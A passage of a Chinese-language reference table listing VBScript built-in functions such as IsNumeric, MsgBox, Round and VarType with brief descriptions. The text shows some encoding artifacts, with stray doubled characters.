IsNumeric | 返回一個(gè)布爾值,指示指定的表達(dá)式是否可作為數(shù)字來(lái)計(jì)算。 |
IsObject | 返回一個(gè)布爾值,指示指定的表達(dá)式是否是一個(gè) automation 對(duì)象。 |
LoadPicture | 返回一個(gè)圖片對(duì)象。僅用于 32 位平臺(tái)。 |
MsgBox | 顯示消息框,等待用戶點(diǎn)擊按鈕,并返回指示用戶點(diǎn)擊了哪個(gè)按鈕的值。 |
RGB | 返回一個(gè)表示 RGB 顏色值的數(shù)字。 |
Round | 對(duì)數(shù)字進(jìn)行四舍五入。 |
ScriptEngine | 返回使用中的腳本語(yǔ)言。 |
ScriptEngineBuildVersion | 返回使用中的腳本引擎的內(nèi)部版本號(hào)。 |
ScriptEngineMajorVersion | 返回使用中的腳本引擎的主版本號(hào)。 |
ScriptEngineMinorVersion | 返回使用中的腳本引擎的次版本號(hào)。 |
SetLocale | 設(shè)置 locale ID,并返回之前的 locale ID。 |
TypeName | 返回指定變量的子類型。 |
VarType | 返回指示變量子類型的值。 |
*請(qǐng)認(rèn)真填寫需求信息,我們會(huì)在24小時(shí)內(nèi)與您取得聯(lián)系。